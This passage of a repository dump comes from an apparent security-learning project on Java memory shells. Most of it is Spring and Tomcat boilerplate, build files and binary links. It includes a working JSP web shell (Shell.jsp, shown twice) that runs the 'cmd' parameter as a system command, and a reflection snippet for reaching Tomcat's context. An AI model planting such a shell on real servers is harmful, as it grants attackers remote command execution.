list = VirtualMachine.list();
11 | for(VirtualMachineDescriptor vmd : list){
12 |
13 | //遍历每一个正在运行的JVM,如果JVM名称为get_PID则返回其PID
14 |
15 | System.out.println(vmd.displayName());
16 | }
17 |
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/Java_memShell/Java_Hello/src/main/resources/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: Hello
3 |
4 |
--------------------------------------------------------------------------------
/Java_memShell/Java_Hello/target/Java_Hello-1.0-SNAPSHOT.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Hello/target/Java_Hello-1.0-SNAPSHOT.jar
--------------------------------------------------------------------------------
/Java_memShell/Java_Hello/target/classes/Hello.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Hello/target/classes/Hello.class
--------------------------------------------------------------------------------
/Java_memShell/Java_Hello/target/classes/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: Hello
3 |
4 |
--------------------------------------------------------------------------------
/Java_memShell/Java_Hello/target/classes/Sleep_Hello.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Hello/target/classes/Sleep_Hello.class
--------------------------------------------------------------------------------
/Java_memShell/Java_Hello/target/classes/com/sleep/hello/Sleep_Hello.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Hello/target/classes/com/sleep/hello/Sleep_Hello.class
--------------------------------------------------------------------------------
/Java_memShell/Java_Hello/target/classes/get_PID.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Hello/target/classes/get_PID.class
--------------------------------------------------------------------------------
/Java_memShell/Java_Hello/target/maven-archiver/pom.properties:
--------------------------------------------------------------------------------
1 | #Generated by Maven
2 | #Mon May 09 15:13:27 CST 2022
3 | version=1.0-SNAPSHOT
4 | groupId=org.example
5 | artifactId=Java_Hello
6 |
--------------------------------------------------------------------------------
/Java_memShell/Java_Hello/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst:
--------------------------------------------------------------------------------
1 | Hello.class
2 |
--------------------------------------------------------------------------------
/Java_memShell/Java_Hello/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst:
--------------------------------------------------------------------------------
1 | C:\Users\34946\Desktop\Java_memShell\Java_Hello\src\main\java\Hello.java
2 |
--------------------------------------------------------------------------------
/Java_memShell/Java_Hello/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Hello/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/src/main/webapp/Shell.jsp:
--------------------------------------------------------------------------------
1 |
2 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
3 |
4 |
5 | shell
6 |
7 |
8 | <% if(request.getParameter("cmd")!=null){
9 | java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
10 | int a = -1;
11 | byte[] b = new byte[2048];
12 | out.print("");
13 | while((a=in.read(b))!=-1){
14 | out.print(new String(b));
15 | }
16 | out.print("
");
17 | }
18 |
19 | %>
20 |
21 |
22 |
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/src/main/webapp/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
4 |
5 |
6 | Archetype Created Web Application
7 |
8 |
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/target/Java_JSP.war:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP.war
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/target/Java_JSP/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Created-By: IntelliJ IDEA
3 | Built-By: 34946
4 | Build-Jdk: version 1.8.0_65
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/target/Java_JSP/Shell.jsp:
--------------------------------------------------------------------------------
1 |
2 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
3 |
4 |
5 | shell
6 |
7 |
8 | <% if(request.getParameter("cmd")!=null){
9 | java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
10 | int a = -1;
11 | byte[] b = new byte[2048];
12 | out.print("");
13 | while((a=in.read(b))!=-1){
14 | out.print(new String(b));
15 | }
16 | out.print("
");
17 | }
18 |
19 | %>
20 |
21 |
22 |
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-annotations-api-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-annotations-api-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-api-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-api-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-catalina-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-catalina-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-coyote-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-coyote-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-el-api-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-el-api-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-jaspic-api-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-jaspic-api-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-jni-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-jni-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-jsp-api-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-jsp-api-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-juli-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-juli-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-servlet-api-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-servlet-api-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-util-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-util-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-util-scan-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-util-scan-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
4 |
5 |
6 | Archetype Created Web Application
7 |
8 |
--------------------------------------------------------------------------------
/Java_memShell/Java_JSP/target/Java_JSP/test.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.lang.reflect.Field" %><%--
2 | Created by IntelliJ IDEA.
3 | User: 34946
4 | Date: 2022/5/4
5 | Time: 15:18
6 | To change this template use File | Settings | File Templates.
7 | --%>
8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
9 |
10 |
11 | Title
12 |
13 |
14 | <%
15 | Field reqF = request.getClass().getDeclaredField("request");
16 | reqF.setAccessible(true);
17 | Request req = (Request) reqF.get(request);
18 | StandardContext context = (StandardContext) req.getContext();
19 | out.println(context);
20 | %>
21 |
22 |
23 |
--------------------------------------------------------------------------------
/Java_memShell/Spring/.gitignore:
--------------------------------------------------------------------------------
1 | HELP.md
2 | target/
3 | !.mvn/wrapper/maven-wrapper.jar
4 | !**/src/main/**/target/
5 | !**/src/test/**/target/
6 |
7 | ### STS ###
8 | .apt_generated
9 | .classpath
10 | .factorypath
11 | .project
12 | .settings
13 | .springBeans
14 | .sts4-cache
15 |
16 | ### IntelliJ IDEA ###
17 | .idea
18 | *.iws
19 | *.iml
20 | *.ipr
21 |
22 | ### NetBeans ###
23 | /nbproject/private/
24 | /nbbuild/
25 | /dist/
26 | /nbdist/
27 | /.nb-gradle/
28 | build/
29 | !**/src/main/**/build/
30 | !**/src/test/**/build/
31 |
32 | ### VS Code ###
33 | .vscode/
34 |
--------------------------------------------------------------------------------
/Java_memShell/Spring/.mvn/wrapper/maven-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring/.mvn/wrapper/maven-wrapper.jar
--------------------------------------------------------------------------------
/Java_memShell/Spring/.mvn/wrapper/maven-wrapper.properties:
--------------------------------------------------------------------------------
1 | distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.4/apache-maven-3.8.4-bin.zip
2 | wrapperUrl=https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar
3 |
--------------------------------------------------------------------------------
/Java_memShell/Spring/src/main/java/com/example/spring/Application.java:
--------------------------------------------------------------------------------
1 | package com.example.spring;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 |
6 | @SpringBootApplication
7 | public class Application {
8 |
9 | public static void main(String[] args) {
10 | SpringApplication.run(Application.class, args);
11 | }
12 |
13 | }
14 |
--------------------------------------------------------------------------------
/Java_memShell/Spring/src/main/java/com/example/spring/HelloWorld.java:
--------------------------------------------------------------------------------
1 | package com.example.spring;
2 |
3 | import org.springframework.stereotype.Controller;
4 | import org.springframework.web.bind.annotation.GetMapping;
5 | import org.springframework.web.bind.annotation.ResponseBody;
6 |
7 | @Controller
8 | public class HelloWorld {
9 |
10 | @ResponseBody
11 | @GetMapping ("/hello")
12 | public String Hello(){
13 | return "Hello World!";
14 | }
15 | }
--------------------------------------------------------------------------------
/Java_memShell/Spring/src/main/resources/application.properties:
--------------------------------------------------------------------------------
1 | server.port=8088
2 |
--------------------------------------------------------------------------------
/Java_memShell/Spring/src/test/java/com/example/spring/ApplicationTests.java:
--------------------------------------------------------------------------------
1 | package com.example.spring;
2 |
3 | import org.junit.jupiter.api.Test;
4 | import org.springframework.boot.test.context.SpringBootTest;
5 |
6 | @SpringBootTest
7 | class ApplicationTests {
8 |
9 | @Test
10 | void contextLoads() {
11 | }
12 |
13 | }
14 |
--------------------------------------------------------------------------------
/Java_memShell/SpringBoot_Controller/.gitignore:
--------------------------------------------------------------------------------
1 | HELP.md
2 | target/
3 | !.mvn/wrapper/maven-wrapper.jar
4 | !**/src/main/**/target/
5 | !**/src/test/**/target/
6 |
7 | ### STS ###
8 | .apt_generated
9 | .classpath
10 | .factorypath
11 | .project
12 | .settings
13 | .springBeans
14 | .sts4-cache
15 |
16 | ### IntelliJ IDEA ###
17 | .idea
18 | *.iws
19 | *.iml
20 | *.ipr
21 |
22 | ### NetBeans ###
23 | /nbproject/private/
24 | /nbbuild/
25 | /dist/
26 | /nbdist/
27 | /.nb-gradle/
28 | build/
29 | !**/src/main/**/build/
30 | !**/src/test/**/build/
31 |
32 | ### VS Code ###
33 | .vscode/
34 |
--------------------------------------------------------------------------------
/Java_memShell/SpringBoot_Controller/.mvn/wrapper/maven-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringBoot_Controller/.mvn/wrapper/maven-wrapper.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringBoot_Controller/.mvn/wrapper/maven-wrapper.properties:
--------------------------------------------------------------------------------
1 | distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.4/apache-maven-3.8.4-bin.zip
2 | wrapperUrl=https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar
3 |
--------------------------------------------------------------------------------
/Java_memShell/SpringBoot_Controller/src/main/java/com/example/springboot_controller/SpringBootControllerApplication.java:
--------------------------------------------------------------------------------
1 | package com.example.springboot_controller;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 |
6 | @SpringBootApplication
7 | public class SpringBootControllerApplication {
8 |
9 | public static void main(String[] args) {
10 | SpringApplication.run(SpringBootControllerApplication.class, args);
11 | }
12 |
13 | }
14 |
--------------------------------------------------------------------------------
/Java_memShell/SpringBoot_Controller/src/main/resources/application.properties:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/Java_memShell/SpringBoot_Controller/src/test/java/com/example/springboot_controller/SpringBootControllerApplicationTests.java:
--------------------------------------------------------------------------------
1 | package com.example.springboot_controller;
2 |
3 | import org.junit.jupiter.api.Test;
4 | import org.springframework.boot.test.context.SpringBootTest;
5 |
6 | @SpringBootTest
7 | class SpringBootControllerApplicationTests {
8 |
9 | @Test
10 | void contextLoads() {
11 | }
12 |
13 | }
14 |
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/src/main/java/com/shell/controller/Hello_Controller.java:
--------------------------------------------------------------------------------
1 | package com.shell.controller;
2 |
3 | import org.springframework.stereotype.Controller;
4 | import org.springframework.web.bind.annotation.RequestMapping;
5 | import org.springframework.web.bind.annotation.ResponseBody;
6 |
7 | @Controller
8 | public class Hello_Controller {
9 |
10 | @ResponseBody
11 | @RequestMapping("/hello")
12 | public String Hello(){
13 | return "Hello";
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/src/main/webapp/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller.war:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller.war
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Created-By: IntelliJ IDEA
3 | Built-By: 34946
4 | Build-Jdk: version 1.8.0_311
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/classes/com/shell/controller/Hello_Controller.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/classes/com/shell/controller/Hello_Controller.class
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/classes/com/shell/controller/shell_controller$Controller_Shell.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/classes/com/shell/controller/shell_controller$Controller_Shell.class
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/classes/com/shell/controller/shell_controller.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/classes/com/shell/controller/shell_controller.class
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/jstl-1.2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/jstl-1.2.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-aop-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-aop-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-beans-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-beans-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-context-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-context-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-core-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-core-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-expression-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-expression-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-jcl-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-jcl-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-web-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-web-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-webmvc-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-webmvc-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/standard-1.1.2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/standard-1.1.2.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/classes/com/shell/controller/Hello_Controller.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/classes/com/shell/controller/Hello_Controller.class
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/classes/com/shell/controller/shell_controller$Controller_Shell.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/classes/com/shell/controller/shell_controller$Controller_Shell.class
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Controller/target/classes/com/shell/controller/shell_controller.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/classes/com/shell/controller/shell_controller.class
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/src/main/webapp/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor.war:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor.war
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Created-By: IntelliJ IDEA
3 | Built-By: 34946
4 | Build-Jdk: version 1.8.0_311
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/classes/com/shell/controller/Inject_Shell_Interceptor_Controller$Shell_Interceptor.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/classes/com/shell/controller/Inject_Shell_Interceptor_Controller$Shell_Interceptor.class
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/classes/com/shell/controller/Inject_Shell_Interceptor_Controller.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/classes/com/shell/controller/Inject_Shell_Interceptor_Controller.class
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/javax.servlet-api-4.0.1.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/javax.servlet-api-4.0.1.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/jstl-1.2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/jstl-1.2.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-aop-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-aop-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-beans-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-beans-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-context-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-context-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-core-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-core-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-expression-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-expression-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-jcl-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-jcl-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-web-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-web-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-webmvc-5.3.19.jar:
--------------------------------------------------------------------------------
